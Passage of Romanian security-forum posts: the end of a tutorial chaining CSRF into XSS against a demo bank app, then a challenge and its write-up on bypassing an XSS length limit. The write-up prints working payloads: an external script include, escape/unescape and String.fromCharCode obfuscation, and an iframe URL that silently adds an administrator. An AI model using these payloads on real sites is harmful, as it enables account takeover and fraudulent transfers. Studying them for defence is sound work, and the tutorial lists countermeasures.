http://127.0.0.1/CSRF_Example/bankattack.js. Comanda document.input.submit() trimite in mod automat request-ul din partea user-ului – deci cu alte cuvinte, furnizam un payload Cross Site Scripting (XSS) via un atac Cross Site Request Forgery (CSRF). Browser-ul user-ului in mod automat trimite cererea catre http://localhost:3000/send_payment cu cookie-urile utilizatorului. Utilizatorul nici nu banuie ce s-a intamplat. False Secure Bank trimite un raspuns la IFrame-ul de dimensiunea 0 X 0, de unde isi are originea cererea. Programatorul include o versiune nefiltrata, necodata a parametrului pay[payee] de la cererea send_payment. Deoarece acest parametru ruleaza in browser-ul clientilor, tag-ul <script src=’http://127.0.0.1/CSRF_Example/bankattack.js’ type=’ text/javascript’></script> se executa in mod automat. Browser-ul descarca in mod automat fisierul bankattack.js. Deoarece cererea pentru fisierul JavaScript arata ca provine de la False Secure Bank, browser-ul nu va crede ca acest lucru este o violare a politicii aceleiasi origini. In fisierul JavaScript am inclus serii intregi de cereri si raspunsuri Ajax. Ele arata cam asa: xmlhttp.open("GET", "/payment", false); //AJAX cerere de apel catre ecranul de plata xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); >xmlhttp.send(“”) Tipul de obiect JavaScript "XML HTTP" difera in functie de browser. Putem seta antetele cererii cum vrem noi si putem emula orice continut generat de user – inclusiv modificarea tag-ului user-agent sau a oricaror cookies folosite la urmarirea navigarii utilizatorului. Putem sa salvam raspunsul primit inapoi la comanda "send" si sa scoatem valorile ce ne intereseaza. Sa presupunem ca avem nevoie sa aflam numarul de cont al victimei pentru a transfera niste sume. Putem trimite o cerere XML HTTP la home page si scoatem numarul de cont din raspunsul HTML. In mod similar, putem scoate orice token-uri anti-CSRF odata ce am apucat sa rulam codul malitios JavaScript. False Secure Bank nu suporta si nici contine cod Ajax. Nu ne intereseaza. Ceea ce avem nevoie este doar ca browser-ul user-ului sa aiba suport Ajax, iar browser-ele moderne il au. Codul JavaScript din pasul anterior face cateva cereri diferite: Merge in ecranul de plati Eliminarea numarului de cont al atacatorului Adauga atacatorul ca beneficiar al platii Initiaza plata Confirma plata In timp ce acest scenariu prezinta un transfer bancar, am putea automatiza practic orice serie de cereri, in orice aplicatie web cu acest tip de atac. Contramasuri (Dezvoltatorii) Cea mai usoara contramasura este sa previi Cross Site Scripting. Utilizand judicios codarea puternica a librariilor cum ar fi cele date in proiectul OWASP ESAPI. Urmariti detaliile subliniate in Cross Site Scripting Prevention Cheat Sheet. Folositi cod frame adecvat (Frame Busting - metoda practica ce asigura prin cod html ca site-ul nu va fi afisat printr-un frame). Sunt multe modalitati de a face acest lucru. Retineti ca atacatorul are nevoie de un frame – astfel el va fi nevoit sa execute intregul atac la vederea utilizatorului – fapt ce creste posibilitatea ca userul sa inchida browser-ul si sa stopeze atacul in desfasurare. Metoda cea mai efectiva de prevenire a acestuia si aproape a tuturor atacurilor impotriva tranzactiilor senzitive este utilizarea autentificarii transactionale. Dezvoltatorii pot cere autentificarea Phone Factor, de exemplu, pentru toate transferurile ce depasesc de ex. 100 USD. Desigur orice autentificare aditionala poate ingreuna utilizarea operatiunii si deci sa faca aplicatia mai greoaie. Mai putin efectiva si desigur discutabil, este sa folosim abordarea mai putin prietenoasa a tehnologiei anti-automata CAPTCHA. Vectorul original XSS s-a livrat prin intermediul unui atac CSRF si prin intermediul tranzactiei send_payment. Daca intreaga portiune de autentificare a False Secure Bank ar fi fost protejata impotriva CSRF, n-am fi putut incarca codul reflectiv XSS de prima data. XSS-ul stocat nu are de aceeasi limitare. Contramasuri (Userii finali) Intotdeauna incheiati orice sesiune cu parola cu log out. Acest lucru nu previne atacul complet dar limiteaza in mod semnificativ expunerea la un atac. Nu navigati pe alte site-uri in timp ce rulati aplicatii sensibile cum ar fi de banking online. Folositi plugin-ul de browser NoScript. Da, NoScript previne acest atac, chiar daca tu crezi in scriptul din site-ul capcana, deoarece NoScript identifica cu precizie cererile CSRF ca potentiale atacuri Cross Site Scripting. Sper ca developerii ce creaza propriile aplicatii au frija la securitatea lor si ca ei nu mai cred in mod categoric faptul ca XSS (Cross Site Scripting) este ceva de un risc scazut sau mediu. LE: Multumesc frumos tuturor pentru toate like-urile acordate thread-urilor scrise de mine. Este o mica staisfactie, ce imi demonstreaza ca nu am scris pentru a contribui la cantitate, ci pentru oameni iar acestia au apreciat valoarea informatiei. PS: A propos, cati dintre voi folositi NoScript?

Se d? pagina de profil a utilizatorului: My Profile, care este vulnerabil? la XSS. Plus la aceasta, mai este disponibil ?i un Admin Panel cu ajutorul c?ruia se pot ad?uga noi utilizatori pe site. Ceea ce trebuie s? facem, este s? folosim vulnerabilitatea XSS pentru a ini?ia un atac CSRF ?i s? ad?ugam un nou administrator, iar mesajul «Congratulations! New administrator, has been added.» — trebuie s? confirme acest lucru. Explic: atunci când vom ap?sa butonul «submit & save» trebuie sa primim exact acela?i mesaj ca ?i in cazul când vom ap?sa butonul «Submit Query» (dup? ce am completat spatiile din Admin Panel). Pentru unii pare un simplu joc, dar totu?i, rog s? nu posta?i r?spunsul, ci sa-l trimite?i prin PM (nu uita?i s? v? spune?i p?rerea), iar eu voi redacta postul, indicând cine a reu?it s? treac? testul. Deci, cine e primul? Felicit?ri pentru înving?tori: loki ? [05-04-2010 11:08 PM] UPD #1: Mai întâi de toate, vreau s? spun c? pentru a exploata vulnerabilitatea, e nevoie de pu?in? ingeniozitate, ?i, dat fiind faptul c? personal nu am v?zut pe nimeni s? foloseasc? aceast? metoda, pentru unii v-a fi destul de dificil s? treac? testul… Istorie: Cu ceva timp în urm?, g?sisem un XSS activ într-o pagin? de profil, practic, o copie celei prezentate de mine. Dar, din cauza num?rului limitat de caractere, nu puteam decât s? primesc doar un alert(). Nimic mai mult... Dup? câteva minute, mi-a venit o idee — 'doar am mai multe c?su?e pe care pot s? le completez', deci — mai mult 'spa?iu'. p.s. Pe lâng? scriptul JS, PHP-ul are grij? ca s? nu trece?i de limita num?rului de caractere. UPD #2: Ini?ial, m? gândeam s? scriu un tutorial despre 'aceast? metod?' de exploatare a vulnerabilit??ilor XSS, dar m-am gândit c? un challenge, ar fi mult mai folositor, mai interesant. Iar când am început s? fac acest lucru, am hot?rât s? nu complic lucrurile, de aceea s-a primit 'poate cel mai simplu' CSRF posibil. Mesaj special pentru cei interesa?i de token-uri: nu uita?i de refresh, atunci când sunte?i în Admin Panel. UPD #3: Vreau s? precizez, c? într-o situa?ie similar?, folosind o «astfel» de metod? atacatorul va trece cu brio de limitele puse de cei care securizeaz? site-ul. Unica problem? r?mâne, ca victimele s? viziteze pagina sau paginile, unde sunt amplasate cel pu?in 2 c?su?e din formular, iar una dintre ele s? fie cea vulnerabil?. Apropo, c?su?a cu «Name» e readonly, iar în Admin Panel — «group» se repet? de 2 ori... UPD #4: Dat fiind faptul c? nu vreau s? deschid un nou thread, voi profita de ocazie ?i voi întreba aici: ?ti?i voi oare la ce bun folose?te func?ia escape()? UPD #5: E foarte cert?re?, fiindc? vrea s? fie unic într-un document, ?i, cic? nu are dreptul s? apar? de ori pe aceea?i pagin?. aHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQwMS9zdHJ1Y3QvZ2xvYmFsLmh0bWwjaC03LjUuMg==

Probabil, mul?i membri ai acestui forum au observat recentul meu post în care am f?cut "un apel" c?tre to?i exper?ii în XSS ?i CSRF, rugându-i s? exploateze într-un mod pu?in mai neobi?nuit o vulnerabilitate XSS. Nu ?tiu câ?i membri au acceptat provocarea, dar cert este faptul c? doar unul singur a reu?it s? treac? testul — loki, care, practic ?tia deja r?spunsul dup? ce editasem postul ad?ugând cel de-al doilea Update. În principiu, cu fiecare Update ad?ugat, încercam s? aten?ionez participan?ii despre anumite obstacole, s? le dau noi puncte de reper, s? le ar?t calea cea dreapt?... De exemplu, la prima redactare a postului, am dat de în?eles c? nu are rost s? piard? timpul folosind metode de a trece peste num?rul limitat de caractere, ?i cel mai important, s? se gândeasc? cum ar putea s? foloseasc? mai multe c?su?e pentru a ajunge înving?tor. Redactând postul pentru a doua oar?, am dezv?luit secretul token-ului, care de fapt r?mânea mereu acela?i. Plus la aceasta, am aten?ionat c? în acest test merge vorba despre «cel mai simplu CSRF» — nu ?tiu pentru al?ii cum e, dar pentru mine, cel mai simplu CSRF posibil, este atunci când datele se transmit prin metoda GET. Astfel, pentru a testa dac? scriptul accept? datele transmise prin GET, puteam folosi expresia: javascript:void(document.forms[0].method='get'), pe care trebuie s? o introducem în bara de adrese a browserului, dup? care tast?m Enter, complet?m formularul ?i ap?s?m butonul «Submit Query». Vom observa c? administratorul a fost ad?ugat cu succes, iar request-ul de tip POST s-a transformat în unul GET ?i... acum, cu u?urin?? putem copia adresa URL pentru a o folosi la atacul CSRF. Dup? p?rerea mea, fiind analizat cu aten?ie, cel de-al treilea Update era cel mai puternic indiciu care putea s? duc? la imediat? rezolvare a problemei. Iat? de ce, pentru a duce în eroare participan?ii, am scris cu font gri un mesaj care nu avea nici o leg?tur? cu acest test ?i rezolvarea lui. Îns? mesajul principal a r?mas, ?i chiar eram curios, oare nimeni nu s-a întrebat: De ce trebuie s? fie minim dou? c?su?e pe aceea?i pagin?? La ce bun folose?te o a doua c?su?a, care nici m?car nu e vulnerabil?? ?i tot dup? p?rerea mea, r?spunsul era foarte simplu: în c?su?a vulnerabil? («Signature») puteam folosi JavaScript, îns? era prea pu?in spa?iu, pe când «About me» — avea ceva mai mult... Deci, ce ne împiedic? s? "împrumut?m" caractere din containerul «About me»? Oare func?ia escape() amintit? în Update-ul num?rul 4, ?i atributul «id» din UPD #5 — nu a ?optit nim?nui vre-o idee n?stru?nic?? Sunt sigur c? pentru a dezlega orice mister trebuia doar s? aduc aminte de document.getElementById() — îns? acest lucru ar fi f?cut Challenge-ul prea simplu ?i lipsit de interes... Îns? acum nu ne r?mâne decât s? recapitul?m rapid ce aveam la îndemân?: O c?su?? vulnerabil?, care ne permite s? inser?m coduri JavaScript, dar care are un num?r limitat de caractere prea mic; Func?ia escape(), cu ajutorul c?reia putem codifica caracterele speciale; O c?su?? care nu e vulnerabil?, dar ofer? mai mult spa?iu ?i, pe lâng? aceasta are ?i un «id» unic; Expresia document.getElementById() cu ajutorul c?reia putem "împrumuta" caractere din containerul sus-men?ionat; Anume aceste p?r?i ale puzzle-ului, puse cap la cap i-au adus lui loki victoria. Cum? Foarte simplu! Într-un fi?ier extern (pe care l-am înc?rcat pe server), folosind func?ia document.write(), se crea o copie exact? a formularului din Admin Panel, ?i, folosind expresia document.forms[0].submit() se trimiteau datele c?tre server prin metoda POST. Desigur, pentru a exploata vulnerabilitatea XSS, acest fi?ier trebuia injectat pe pagina din profil, folosind expresia: <script src="http://test.securrity.ru/challenges/loki_rst_u9.js"></script> Pentru a trece de filtrul PHP, s-a folosit func?ia escape(), cu ajutorul c?reia expresia men?ionat? mai sus a c?p?tat forma: %3Cscript%20src%3D%22http%3A%2f%2ftest.securrity.ru/challenges/loki_rst_u9.js%22%3E%3C/script%3E%0A Anume aceast? expresie a fost? inserat? în c?su?a «About me», care avea ?i un id asem?n?tor: 'AboutMe'. Ultimul ?i cel mai important pas, a fost inserarea în c?su?a vulnerabil? «Signature», a urm?torului cod: <script>document.write(unescape(document.getElementById('AboutMe').innerHTML));</script> unde, document.getElementById('AboutMe').innerHTML — returneaz? caracterele c?su?ei 'AboutMe'; unescape() — returneaz? valoarea ini?ial? a caracterelor codificate cu ajutorul fun?iei escape(); document.write() — afi?eaz? codul ce include fi?ierul extern; Acum, nu ne r?mâne decât s? ap?s?m butonul «submit & save»! Unicul lucru pe care vreau s?-l adaug la metoda folosit? de loki, este c? testul era mult mai u?or, ?i în schimbul unui fi?ier extern, putea fi folosit doar un simplu iframe: %3Ciframe%20src%3D%22http%3A//test.securrity.ru/challenges/n1.php%3Fdo%3Dadd%26mode%3Dnew_account%26group%3Dadministrators%26name%3DAdmin%26password%3Dpassw0rd%26email%3Dadmin@site.net%26token%3D94a08da1fecbb6e8b46990538c7b50b2%22%3E%3C/iframe%3E A?a cum am mai spus, aceast? metod? e ca un cu?it cu dou? t?i?uri: partea bun? e c? putem trece de filtre; partea rea — ambele c?su?e trebuie s? fie prezente pe aceea?i pagin?. ?i, o a doua problem? ar fi suspiciunile administra?iei, care la sigur va ?terge astfel de mesaje sau accounturi. În astfel de situa?ii am putea folosi func?ia String.fromCharCode(), astfel un ?ir de cifre separate prin virgul? va putea trece neobservat. Dar, ?i aici este o mic? problem?, deoarece pentru a folosi String.fromCharCode(), este nevoie de pu?in mai mult spa?iu, mai exact cu 33 caractere mai mult, iar codul care trebuie inserat în c?su?a vulnerabil? va ar?ta în felul urm?tor (cei care pot face acest cod mai scurt, sunt ruga?i s? prezinte un exemplu): <script>document.write(String.fromCharCode.apply(this,document.getElementById("AboutMe").innerHTML.split(',')));</script> Iar în c?su?a «About Me» vom introduce textul urm?tor (ob?inut cu noquote): 60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,116,101,115,116,46,115,101,99,117,114,114,105,116,121,46,114,117,47,99,104,97,108,108,101,110,103,101,115,47,110,49,46,112,104,112,63,100,111,61,97,100,100,38,109,111,100,101,61,110,101,119,95,97,99,99,111,117,110,116,38,103,114,111,117,112,61,97,100,109,105,110,105,115,116,114,97,116,111,114,115,38,110,97,109,101,61,65,100,109,105,110,38,112,97,115,115,119,111,114,100,61,112,97,115,115,119,48,114,100,38,101,109,97,105,108,61,97,100,109,105,110,64,115,105,116,101,46,110,101,116,38,116,111,107,101,110,61,57,52,97,48,56,100,97,49,102,101,99,98,98,54,101,56,98,52,54,57,57,48,53,51,56,99,55,98,53,48,98,50,34,62,60,47,105,102,114,97,109,101,62 Dup? cum v? da?i bine seama, acest articol a fost scris în scopuri educative, pentru a în?elege c? nimic nu e perfect (în special aplica?iile celor, care în loc s? repare vulnerabilit??ile, încearc? s? demonstreze c? nu e a?a de GRAV precum pare). ?i da, sunt aproape 'preg?tit' s? ?in piept oric?rei întreb?ri, critici sau idei. B7ackAnge7z Special pentru RST